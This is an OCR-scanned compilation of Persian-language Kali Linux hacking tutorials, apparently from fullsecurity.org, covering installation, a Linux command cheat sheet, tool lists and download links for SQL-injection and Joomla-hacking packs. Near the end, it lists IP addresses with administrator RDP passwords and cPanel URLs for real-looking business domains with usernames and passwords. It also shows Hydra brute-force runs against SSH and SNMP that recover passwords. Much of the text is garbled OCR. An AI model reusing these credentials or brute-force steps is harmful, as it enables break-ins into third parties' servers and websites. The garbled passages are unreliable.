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https://www.kali.org/downloads/

Image
Direct | Torrent | S5ize | Version SHA1Sum
Name

Kali Linux
&4 bit

aaebB89a78f155377281181a785aa1b38eefBbal

Kali Linux
32 bit

bedeb390b9d2foad4bctB0f50d6312d9%c77bf30b

Kali Linux
64 bit Torrent . fchdflb4b48ded?47e5549d9dd%eab5f1465f24ab
Light

Kali Linux
32 bit Torrent . bd9f8eebeddi1fcdeladTddc?3i%eazac813572
Light
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Boot menu

Live (686 -pae)

Live (h&8b-pae fallsafe)
Live (Torensic mode)
Install

Graphical install

vin tall with speech synthesis

Press ENTER to boot or TAR to edit a menu entry
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Configure the network

Please enter the hostname for this system.

The hostname is a single word that identifies your system to the network. If you don't know what your
hostname should be, consult your network administrator. If you are setting up your own home network,

you can make something up here.
Hostname:

[kali

t Continue I

| Screenshot
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Set up users and passwords

You need to set a password for ‘root’, the system administrative account. A malicious or unqualified user
with root access can have disastrous results, so you should take care to choose a root password that is
not easy to quess. It should not be a word found in dictionaries, or a word that could be easily
associated with you.

A good password will contain a mixture of letters, numbers and punctuation and should be changed at
regular intervals.

The root user should not have an empty password. If you leave this empty, the root account will be
disabled and the system's initial user account will be given the power to become root using the “sudo”

command.

Note that you will not be able to see the password as you type it.
Root password:

EITYYY)
Please enter the same root password again to verify that you have typed it correctly.
Re-enter password to verify:

| 'gcreenshot | Go Back Continue
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Partition disks

Note that all data on the disk you select will be erased, but not before you have confirmed that you
really want to make the changes.
Select disk to partition:

SCSI13(0,0,0) (sda) - 21.5 GB VMware, VMware Virtual S

| Screenshot |

| Go Back Continue |
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Partition disks
Selected for partitioning:
SCSI13(0,0,0) (sda) - VMware, VMware Virtual S: 21.5 GB

The disk can be partitioned using one of several different schemes. If you are unsure, choose the first
one.
Partitioring scheme:

All files in one partition (recommended for new users)
Separate /home partition

Separate /home, /usr, /var, and tmp partitions

screenshot

‘GoBack || Continue |

Partition disks

If you continue, the changes listed below will be written to the disks. Otherwise, you will be able to make
further changes manually.

The partition tables of the following devices are changed:
S$CSI13(0,0,0) (sda)

The following partitions are going to be formatted:
partition #1 of SCSI3(0,0,0) (sda) as extd
partition #5 of SCSI3(0,0,0) (sda) as swap

write the changes to disks?
) No

Screenshot

[ continue l
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Install the system

- Installing the system...
Copying data to disk...
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http://dl.fullsecurity.org/milad/installkalilinux.mp4

http://dl.fullsecurity.org/milad/kalivmware.7z
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Applications Places : Tue Jan 13, 6:28 AM @ 8 W oot

root@kali: ~

File Edit View Search Terminal Help

id msfvenomexample.exe
cprogram mydirectol
cprogram.c myfile
cprogram.c.save Nessus-6.1,2-debian6 amd64.deb
Desktop netcatfile
pingscript.sh
pingscript.sh.save
pythonscript

I -'.("“: )

winMeterpreterRtcp.exe

“ root@kali: ~
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SYSTEM

uname -a
uname -f
uptime

hostname

=>Displaylinux system information
=>Display kernel release information
=>Show how long the system has been running + load
=>Show system host name
hostname -i =>Display the IP address of the host
last reboot =>Show system reboot history

date =>Show the current date and time
cal =>Show this month calendar

w =>Display who is online

whoami =>Who you are logged in as

finger user =>Display information about user

HARDWARE

dmesg =>Detected hardware and boot messages

cat /proc/cpuinfo  =>CPU model

cat /proc/meminfo =>Hardware memory

cat /proc/interrupts =>Lists the number of interrupts per CPU per 1/O device

Ishw =>Displays information on hardware configuration of
the system

Isblk =>Displays block device related information in Linux

free -m =>Used and free memory (-m for MB)

Ispci -tv =>Show PCI devices

Isusb -tv =>Show USB devices

dmidecode =>Show hardware info from the BIOS

hdparm -i /dev/sda =>Show info about disk sda

hdparm -tT /dev/sda =>Do a read speed test on disk sda

badblocks -s /devisda =>Test for unreadable blocks on disk sda

USERS

id =>Show the active user id with login and group
last =>Show last logins on the system

who =>Show who is logged on the system

groupadd admin  =>Add group "admin"

useradd -¢ "Sam Tomshi"  =>g admin -m sam #Create user "sam"
userdel sam =>Delete user sam

adduser sam =>Add user "sam"”

usermod =>Modify user information

FILE COMMANDS

Is —al =>Display all information about files/ directories
pwd =>Show the path of current directory

mkdir directory-name
rm file-name
rm -r directory-nam

=>Create a directory

=>Delete file

=>Delete directory recursively

rm -f file-name =>Forcefully remove file

rm -rf directory-name  =>Forcefully remove directory recursively

cp filet file2 =>Copy file1 to file2

cp -r dir1 dir2 =>Copy dir1 to dir2, create dir2 if it doesn't exist

mv file1 file2 =>Rename source to dest / move source to directory

In —s /path/to/file-name link-name #Create symbolic link to file-name

touch file =>Create or update file

cat > file =>Place standard input into file

more file =>0utput contents of file

head file =>Qutput first 10 lines of file

tail file =>Qutput last 10 lines of file

tail -f file =>Qutput contents of file as it grows starting with the
last 10 lines

gpg -c file =>Encrypt file

gpg file.gpg =>Decrypt file

wce =>print the number of bytes, words, and lines in files

xargs =>Execute command lines from standard input

PROCESS RELATED

ps =>Display your currently active processes

ps aux | grep telnet’  =>Find all process id related to telnet process

pmap =>Memory map of process

top =>Display all running processes

kill pid =>Kill process with mentioned pid id

killall proc =>Kill all processes named proc

pkill process-name =>Send signal to a process with its name

bg =>Resumes suspended jobs without bringing them to
foreground

] =>Brings the most recent job to foreground

fan =>Brings job n to the foreground

FILE PERMISSION RELATED

chmod octal file-name
Example

chmod 777 /dataltest.c
chmod 755 /dataftest.c

=>Change the permissions of file to octal

=>Set rwx permission for owner,group,world
=>Set rwx permission for owner,rx for group
and world
chown owner-user file =>Change owner of the file
chown owner-user.owner-group file-name =>Change owner and group
owner of the file
=>Change owner and group
owner of the directory

chown owner-user;owner-group directory

NETWORK

ip addr show =>Display all network interfaces and ip address
(a iproute2 command,powerful than ifconfig)

ip address add 192.168.0.1 dev ethO =>Set ip address

ethtool ethO =>Linux tool to show ethernet status

mii-tool ethO =>Linux tool to show ethernet status

ping host =>Send echo request to test connection

whois domain =>CGet who is information for domain

dig domain =>CGet DNS information for domain

dig -x host =>Reverse lookup host

host google.com =>Lookup DNS ip address for the name

hostname —i =>Lookup local ip address

wget file =>Download file

netstat -tupl =>Listing all active listening ports

COMPRESSION / ARCHIVES

tar cf home.tar home
tar xf file.tar

tar czf file tar.gz files
gzip file

=>Create tar named home.tar containing home/
=>Extract the files from file.tar

=>Create a tar with gzip compression
=>Compress file and renames it to file.gz

INSTALL PACKAGE

rpm -i pkgname.rpm
pm -e pkgname

=>|nstall rpm based package
=>Remove package

INSTALL FROM SOURCE

Jconfigure
make
make install

SEARCH

=>Search for pattern in files
=>Search recursively for pattern in dir
=>Find all instances of file
=>Find files names that start with "index"
=>Find files larger than 10000k in /home

grep pattern files

grep -r pattern dir

locate file

find /home/tom -name 'index™
find /home -size +10000k

LOGIN (SSH AND TELNET)

=>Connect to host as user
=>Connect to host using specific port
=>Connect to the system using telnet port

ssh user@host
ssh -p port user@host
telnet host

FILE TRANSFER

scp

scp file.txt server2:/tmp

rsync

rsync -a /home/apps /backup/

=>Secure copy file.txt to remote host /tmp folder
=>Synchronize source to destination
DISK USAGE

df —h =>Show free space on mounted filesystems

df -i =>Show free inodes on mounted filesystems

fdisk -1 =>Show disks partitions sizes and types

du -ah =>Display disk usage in human readable form

du -sh =>Display total disk usage on the current directory
findmnt =>Displays target mount point for all filesystem
mount device-path mount-point =>Mount a device

DIRECTORY TRAVERSE
cd =>To go up one level of the directory tree

cd =>Go to $HOME directory
cd /test =>Change to /test directory
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MD4 — RFC 1320
MD5 — RFC 1321
SHAL — RFC 3174 (FIPS 180-3)
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SHA224 — RFC 3874 (FIPS 180-3)
SHA256 — FIPS 180-3
SHA384 — FIPS 180-3
SHA512 — FIPS 180-3
RMD160 — RFC 2857
GOST - RFC 5831
WHIRLPOOL - ISO/IEC 10118-3:2004
LM — Microsoft Windows hash
NTLM — Microsoft Windows hash
MYSQL — MySQL 3, 4, 5 hash
CISCO7 — Cisco I0S type 7 encrypted passwords
JUNIPER - Juniper Networks $9% encrypted passwords
LDAP_MD5 — MD5 Base64 encoded
LDAP_SHA1 — SHA1 Base64 encoded
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sudo chmod +x kaaisv3.sh

./kaaisv3.sh
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Skype : VideoChat Application
TeamViewer : Remote Desktop Support
Ark : Zip/Rar Manager

Zip/Unzip & Rar/Unrar

Audacious : Semi-lightweight audio player with a WinAmp/XMMS-like skinnable
GUI

Amarok : KDE audio player offering a wealth of features, yet intuitive to use
Banshee : Music management and playback software for GNOME

Sonata : Lightweight GTK+ music client

Audacity : Digital audio editor

Ardour : Digital audio workstation program

Sweep : Audio editor and live playback tool

xChat : IRC Chat Program

FileZilla : An extremely popular cross-platform client

gFTP : Multithreaded client providing both a command-line interface and GUI
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KFTPgrabber : Client for KDE
Pinta : Microsoft's Paint like program
GIMP : GNU Image Manipulation Program
Inkscape : Vector-based drawing program
GEdit : Small and lightweight text editor for the GNOME environment
Geany : Small and lightweight Integrated Development Environment IDE
Emacs : Extensible, customizable, self-documenting text editor
Joe : Terminal-based text editor for Unix systems
gVim : Highly configurable text editor built to enable efficient text editing
Netool.sh : Security PenTesting tool by r00t-3xplOit
Flash Plugin : Updates Adobe Flash Player
Chrome : Popular Google’s internet browser
Chromium : Chrome clone to Linux systems
Iceweasel : Updates Iceweasel to latest version

Terminator : Terminal Emulator

Gnome Tweak Tool : Tweaks the appearance of your GNOME environment

Gets updates with “apt-get update” and cleans packages on exit

Updates your “sources.list” file to a custom made (Repository file

Joomscan update : Vulnerability assessment for Joomla

WPScan install/fix/update : Vulnerability assessment for WordPress
Google Linux Repository Add/Remove

Nmap & Zenmap update : Network mapper/scanner

Metasploit update : Exploiting Framework

Cmatrix : Cool effect o terminal
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Veil : Payload crypter
Hamachi & Haguichi
thadOctor’s Backtrack 5 Toolkit
PHP5-cURL
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root@kali: /opt/recon-ng

File Edit View Search Terminal Help

[recon-ng] [default] > show modules
Discovery

/info_disclosure/cache_snoop
discovery/info_disclosure/interesting files

Exploitation

exploitation/injection/command _injector
exploitation/injection/xpath_bruter

import/csv_file

Recon

recon/companies-contacts/facebook
recon/companies-contacts/jigsaw
recon/companies-contacts/jigsaw/point_usage
recon/companies-contacts/jigsaw/purchase contact
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Automatic SQL injection ond datobose
tokeover tool

http://s6.picofile.com/file/8199838226/sqlinjection.rar.html

http://s6.picofile.com/file/8199364934/sqlinjection.rar.html

oS 5 S8 o W3af sl Sl )8 6 i o) 0T

X ) w3af

http://s3.picofile.com/file/8196171692/w3af By FullSecurity.zip.html
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ALT Linux
Aurora Linux
Cent0S 3.1/4.0
Conectiva Linux 6.0
Debian 3.x
FreeBSD 4.3/4.4/4.7/4.8/4.9/4.10
FreeBSD 5.0/5.1/5.2/5.2.1/5.3
Fedora Core 1/ Core 2/ Core 3
Gentoo 1.4, 2004.0, 2004.1
Macintosh OS 10.3.4-10.3.8
Mandrake 8.1/8.2/9.0-9.2/10.0/10.1
OpenBSD 3.4/3.5
Red Hat Linux 7.0-7.3/8 /9
Red Hat Enterprise Linux 2.1/ 3.0
Slackware 9.0/9.1/10.0/10.1
SME 6.0
Solaris (SunOS)
SuSE 7.3/8.0-8.2/9.0-9.2
Ubuntu
Yellow Dog Linux 3.0/ 3.01
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.3 g3 o5lil 3 Oy swed 31 01 e Centos/Redhat s Rootkit Hunter cuss !

sudo yum install rkhunter
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¥
=

Eile Edit Help
© 8
Preview Clean

Name

=l Deep scan
.DS_Store
Backup files
Temporary files
Thumbs.db

= Firefox
Cache
Cookies
Crash reports
DOM Storage
Download history
Form history
Passwords
Session restore
Site preferences
URL history

Vacuum

BleachBit

I D0 O00ODORRO0ORROOOOO

Firefox

Web browser

Cache: Delete the web cache, which reduces time to
display revisited pages

Cookies: Delete cookies, which contain information
such as web site preferences, authentication, and
tracking identification

Crash reports: Delete the files

DOM Storage: Delete HTMLS cookies

Download history: List of files downloaded

Form history: A history of forms entered in web sites
and in the Search bar

Passwords: A database of usernames and passwords
as well as a list of sites that should not store
passwords

Session restore: Loads the initial session after the
browser closes or crashes

Lil o https://fullsecurity.org sl & ) sKw b ol JUy 50 4 shais Al o) (s> ala


https://fullsecurity.org/

oS 3 JS 695 ACVaMarin sl ¢ cuas i sel

http://yon.ir/IEBb

el 0L 4 S 5ud J& s NMap 15l 480 55 5T

http://yon.ir/pU95

oS 5 S 3 saimap i b8 50 K (65 5T

http://yon.ir/IN241

Alt+Shift 0b) ,usi 5 JS 3,58 4 0L 05,5 bl

http://yon.ir/35HB

: dskds = (CTUNCN) 1,87 cads g g il 2 5T

C o S 3 39 b 3 gy SO

d\«g.wdo:&u\y)&h&igs\ﬁbjﬂ‘shw 3Gy e OMe) oy 59 S OV 53 Y gons

S 313 (Wgh 2 89,5091 L a8 oo e o)l ¢ aen Yas) oo il iy ) Cand S S0 &8 Oy 500

w,:upu,fn&"\gu)\p\\,;juaﬁp\m)ﬂ}wuuwwﬂw.aadfwa,mgs;

33 a5l <846 b clita iyl 5 ST (0 B8 CE N 2 53 B a3y ey o Sl S5 0 p3Y S

Wil o https://fullsecurity.org Sl a o) sKw d s sl JUy 9 & Glaoe dlde ol G s> ooled


https://fullsecurity.org/
http://yon.ir/IEBb
http://yon.ir/pU95
http://yon.ir/N24I
http://yon.ir/35HB

S 3 IS 33 CIUNCR U 8 6 5 35507

http://yon.ir/zInS

oS sd JS jshashcat i sl

http://yon.ir/btXo

Netool ;5! 3

sl g Sy B U das o 1y Ol oyl Led 4 &S cwl RUDY g Python (Bash i ai g )15 &
S 1, )8 4 oy s 1y Ettercap s Metasploit <SSLStrip [Driftnet :Nmap

oS sd S 53 ¥, ased NEtOOl 1550 51 ol i saT

http://yon.ir/tPO9

£Vl 5 bty Koy

http://sourceforge.net/projects/netoolsh

Kali 2.0 55 (7 83,5) NMap 1580 0 5 0355 25T i iy gl

w130 o NMap < o 4 !

S shis a oS Cul polaizl g 3L e syl 4D yls » aii 9 Network Mapper caise Nmap auls”

PN . . Z . .
ol 0 s O3 9352 0358 o 55 13l () 39500 HE @ AR (el ey 0 9

Wil o https://fullsecurity.org Sl a o) sKw d s sl JUy 9 & Glaoe dlde ol G s> ooled


https://fullsecurity.org/
http://yon.ir/zJnS
http://yon.ir/btXo
http://yon.ir/tPO9
http://sourceforge.net/projects/netoolsh

P AS o o § ) s |y il I NTPIINMAaP.org e oew) ol

i 31 sl 395008 H &0 8K 43 ol Sl () 9 9T 12 o7 Canl 3L 0 5 OGS 15 S ool

O )y 5ile 5 B Lo g o0 U5 )l Al Sy ko ¢ a0 BLS) Jin (o By plowil sl 1y )1l o) 5 450 Ol o

M\)@Mbwjﬁv{b'\—\{\b

DA T AP /.
(0539 1) T 055933 357 90 6 S0

20 5 e S 171 &S5 shas canl 0 0315 anw 5 NmMap Scripting Engine skea y NSE cases o) 55 -

ol 00k 03 9331 (gl g u B L b Jold )NMapP 6 83,5 NSE o aibuls”

IPV6 3| jol8" glusiy -

Sl 8 (3L 1590 -

FREAK ¢ ,i> s POODLE ¢ o 4> « (Heartbleed ) .8 ¢ 55 ©b o i ¢l oSl 0! -

ad iy NCAL Ky Bud L] -

thehacking@

S

1S 5 gbi1s OT solijlo ol g JIWGET | giwd 3 eslizwl b 1y Kl fu! -1

wget https://nmap.org/dist/nmap-7.00.tar.bz2
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bzip2 -cd nmap-7.00.tar.bz2 | tar xvi-
terled 2l 1y ) Ol sed (b (0 Jb- -3
tepeden O ol 0ok &S Sl gl B 6 958 115 4 C g ) e3linul b (I

cd nmap-7.00
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/.configure
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sudo make install
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https://nmap.org/dist/nmap-7.00-setup.exe
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S5 skils

http://s3.picofile.com/file/8201884084/recon byfullsecurityorq.zip.html
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http://s4.picofile.com/file/8187183992/Working With Malteqgo partl oqv.7z.html
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http://s6.picofile.com/file/8179584392/hack joomla.zip.html
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http://yon.ir/tL9E
Wifi gla & a0 358 cgr ReAVEr 15 31 eslinal i) gaT
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12.0 0S5 5d J Slayis p&Kaa 5 Segmentation fault JKas g 35 07

S 0355 5 ) alis glas 4 apt-get update | ses 5 esliel p&aa 55 Bl gs 3 &b
root@kali #~:

root@kali:~# apt-get update
Segmentation fault

Reading package lists... Done

root@kali#~:

S o ) g S ) - 81
S 50 1y sources.list b ges,S 1,211y ) s -1

leafpad /etc/apt/sources.list

S 0,3 1y B g 03,8 WLy 1) ome BB o) delsl & J> -2
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#Regular repositories

deb http://http.kali.org/kali sana main non-free contrib

deb http://security.kali.org/kali-security sana/updates main contrib non-free
#Source repositories

deb-src http://http.kali.org/kali sana main non-free contrib

deb-src http://security.kali.org/kali-security sana/updates main contrib non-free

Slyionly s JE I mr O 5 1,21 apt-get update ) gus o3 s Jls b wl sis Jl- -3
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:Nmap ;1 o

Jali:~# nmap 192.168.56.101

Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-05 22:22 EDT
Nmap scan report for 192.168.56.101
Host is up (0.00048s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp  open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp  open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open Tlogin

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open 1ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysql

5432/tcp open postgresql

5900/tcp open vnc

6000/tcp open Xl11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 08:00:27:5D:57:69 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 1.47 seconds

~#
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cablKa 8 35018 e w thehacking Juls” < b 5l g us ¢ 56 Ol gs @) VPS s e

level 50 a8 il sy D

82.81.39.13 @administrator;winxp
31.168.234.35 @administrator;1qgaz@WSX
31.168.234.38 @administrator;1qgaz@WSX
31.168.234.37 @administrator;1qgaz@WSX
31.168.234.33 @administrator;1gaz@WSX
31.168.234.36 @administrator;1gaz@WSX
82.81.48.237 @Admin;2222
143.107.179.29 @administrador;ferrari
177.0.54.52 @usuario;102030

177.0.69.61 @administrador;1la2b3c4d
177.0.53.10 @administrador;admin.123

S el gl 9 ysTemote desktop ast b VPS @la yg w31 eslitwl g 815
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Bl 35 o o JUT b 31 s ) 8 Ol gs 5 01338 e 6l odkd S iy o iz Cand

https://sunrisejapanese.com:2083

user:sunrisej password:FREEdom2012#@)

https://citrusamerica.com:2083

Username:citrusam Password:3M7pkeJ20w

https://bassaholics.simple-helix.net:2083

user:bassahol password:p1K67Brx40

https://harleydavidsonboots.com:2083

username:harleyda password:19PgncC4m8

https://www.thenannypages.com:2083/

username:thenanny password:rlU779glpY

https://emperorlimousine.com:2083

username:emperorl password:!Abc321Limo

https://rennermotorsport.com:2083

username:rennermo password:2YTr7kg84e
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https://nuevoportal.co:2083

UserName:nuevopor Password:yaye4343

https://randallnguyen.com:2083

Username:gymspecc Password:chiapri?9L

https://vitaminsteam.com:2083

Username:vitamins Password:hrw481C5b6
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Jlws 5 3 Iywireshark ) guss cusl (I WS s JE ol gt 55 ST 5L 515 3 030l &)

o s S 1y looee 3519 el 4 b uS 1,

. (Untitled) - Wireshark i fv¥7f tﬁ ="

File Edit View Go Capture Analyze Statistics Help
Buoeod BEXRE Aaes» T L |(EEQAQQAB #EBM % B

Eilter: [| Expression... Clear Apply

Source Destination Protocol Info &

192.168.0. 192.168.0.28 SNMP get-response SNMPV2-SMI::enterprises.11.2.3.9.4.2.1.4.1.5.7.1
192.168.0. 192.168.0. SNMP get-request SNMPV2-SMI::enterprises.11.2.3.9.4.2.1.4.1.5.8.1.
192.168.0. 192.168.0. SNMP get-response SNMPV2-SMI::enterprises.11.2.3.9.4.2.1.4.1.5.8.1
192.168.0. 192.168.0. DNS standard query A www.cnn.com
response A 64.236.91.21 A 64.236.91.23 A 64.2

192.168.0. 64.236.91. 56606 > http [SYN] Seq=0 Win=8192 Len=0 MS5=1460 WS=2
64.236.91. 192.168.0. http > 56606 [SYN, ACK] Seq=0 Ack=1 wWin=8192 Len=0 MS5=1460
192.168.0. 64.236.91. 56606 > http [ACK] Seq=1 Ack=1 wWin=17520 Len=0
192.168.0. 64.236.91. GET / HTTP/1.1
64.236.91. 192.168.0. http > 56606 [ACK] Seq=1 Ack=845 wWin=6960 Len=0
64.236.91. 192.168.0. [TcP segment of a reassembled PDU]

.414386 64.236.91. 192.168.0. [TcP segment of a reassembled PDU]

Frame 384 (167 bytes on wire, 167 bytes captured)
Ethernet II, Src: Sparklan_04:d0:9e (00:0e:8e:04:d0:9e), Dst: HonHaiPr_26:66:a2 (00:1c:26:26:66:a2)
Internet Protocol, Src: 192.168.0.1 (192.168.0.1), Dst: 192.168.0.28 (192.168.0.28)
User Datagram Protocol, Src Port: domain (53), Dst Port: 62872 (62872)
Domain Name System (response)
Request In: 381
[Time: 0.025771000 seconds]
Transaction ID: Oxcfif
Flags: 0x8180 (standard query response, No error)
Questions: 1
Answer RRs: 6
Authority RRs: 0
Additional RRs: 0O
Queries
E www.cnn.com: type A, class
Name: www.cnn.com
Type: A (Host address)
Class: IN (0x0001)
Answers
B www.cnn.com: type A, class IN, addr 64.236.91.21

—dde ra Ans A An

do
99 c0
cf
03
o1
01
01
o1

| ﬁhis isa respense to the DNS query in this fr. :PVackets: 17277370isplayec]: 909 Marked: 0 brroppet;: 0 : Profile: Default
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root@Kkali:~# hydra -P password-file.txt -v 192.168.11.219 snmp
Hydra (http://www.thc.org/thc-hydra) starting at 2015-12-16 15:56:00

IDATA] 16 tasks, 1 server, 333 login tries (I:1/p:333), ~20 tries per task
DATA] attacking service snmp on port 161

VERBOSE] Resolving addresses ... done

J[161Isnmp] host: 192.168.11.219 login: password: manager

S yelib Wil g o b Lusl o Manager Q)QﬁoﬁwbjmcwaMW&)}BMé}édm)b

.-\,,250.5\.5.2..0\.U:is.o\l.vcb.ww}j%\))\ﬁ\d'\j“s L

1,8 o3l 35 SSH ade o 58 &g 0 e sl 1 Ol s 1yun

root@kali:~# hydra -l root -P password-file.txt 192.168.11.219 ssh
Hydra v7.4.2 (¢)2012 by van Hauser/THC & David Maciejak
Hydra (http://www.thc.org/thc-hydra) starting at 2015-15-16 15:54:04

DATA] 16 tasks, 1 server, 332 login tries (I:1/p:332), ~20 tries per task
DATA] attacking service ssh on port 22

JERRORY] ssh protocol error

JERRORY] ssh protocol error

J[22]ssh] host: 192.168.11.219 login: root password: toor

1of 1 target successfully Completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2015-12-16 15:54:10
root@kali#~:
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